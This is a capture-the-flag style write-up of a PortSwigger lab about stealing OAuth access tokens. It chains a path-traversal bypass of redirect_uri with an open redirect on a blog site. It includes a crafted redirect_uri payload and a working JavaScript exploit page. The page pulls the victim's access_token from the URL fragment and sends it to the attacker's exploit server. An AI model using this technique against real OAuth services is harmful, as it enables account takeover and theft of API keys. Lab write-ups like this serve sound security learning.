Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Stealing OAuth access tokens via an open redirect | Jan 7, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Stealing OAuth access tokens via an open redirect! Without further ado, let’s dive in.

Background

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.

Note

You cannot access the admin’s API key by simply logging in to their account on the client application.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.

Exploitation

Home page:

In here, we see a link called “My account”.

Let’s try to login by clicking that link:

As you can see, when we clicked on the “My account” link, it’ll redirect us to login with a social account, which means this is an OAuth authentication.

In the /auth request, there are some parameters:

The response_type parameter indicates that it’s using implicit grant type.

Let’s continue the OAuth flow:

As you can see, the /me GET request has the apikey.

Armed with above information, we can try to modify the redirect_uri parameter to leak the apikey.

To do so, I’ll log out, and send the /auth GET request to Burp Suite’s Repeater. Then modify the redirect_uri parameter to the exploit server:

Hmm… Looks like there are some whitelisted domain in redirect_uri parameter?

We can try to bypass it.

For example, using the @:

Nope.

How about parameter pollution?

No luck.

It seems like we couldn’t bypass it.

How about path traversal?

We can!

However, we still couldn’t leak the apikey. We need to find another vulnerbility to do that, such as open redirect.

After poking around the website, I found that in the home page, we can view different posts, and we can navigate to different posts:

When we clicked the “Next post” link, it’ll send a GET request to /post/next with parameter path.

Let’s test for open redirect:

It redirects me to any website! So it’s vulnerable to open redirect.

Armed with above information, we can chain the redirect_uri parameter and open redirect vulnerability together!

redirect_uri=https://0a0000b304ad9179c28dc70f00dd002d.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ab400c304dc91a2c26dc6f80184009b.exploit-server.net/log

The above payload will set the redirect_uri parameter value to /post/next, with parameter path, and it’s value is our exploit server. This allows us to extract the access_token:

Then, we can use that access_token to send a GET requesto to /me, which will finally leak the apikey.

Now, we can test the payload works or not:

It worked!

However, since the OAuth grant type is using implicit, we need to extract the access_token via the URL fragment.

Now, we can craft a payload that extract victim’s access_token:

<html>
    <head>
        <title>OAuth-4</title>
    </head>
    <body>
        <script>
            // Check the URL fragment exist or not
            if (document.location.hash == ''){
                // If not exist, redirect to the payload, so we can extract the access_token
                window.location.replace('https://oauth-0ada00a904369151c2bdc54b02480071.web-security-academy.net/auth?client_id=umg56k6htndwh95zhjmgd&redirect_uri=https://0a0000b304ad9179c28dc70f00dd002d.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ab400c304dc91a2c26dc6f80184009b.exploit-server.net/exploit&response_type=token&nonce=171654770&scope=openid%20profile%20email');
            } else {
                // Create a new object called urlSearchParams, which extract the URL fragment
                const urlSearchParams = new URLSearchParams(document.location.hash.substr(1));
                // Extract the access_token
                var token = urlSearchParams.get('access_token');

                // Redirect to /log with the access_token value
                window.location.replace('/log?access_token=' + token);
            };
        </script>
    </body>
</html>

Exploit server access log:

Nice! We got it!

Finally, we can send a GET request to /me, with header Authorization: Bearer <access_token>:

Nice! Let’s submit the apikey:

What we’ve learned:

  1. Stealing OAuth access tokens via an open redirect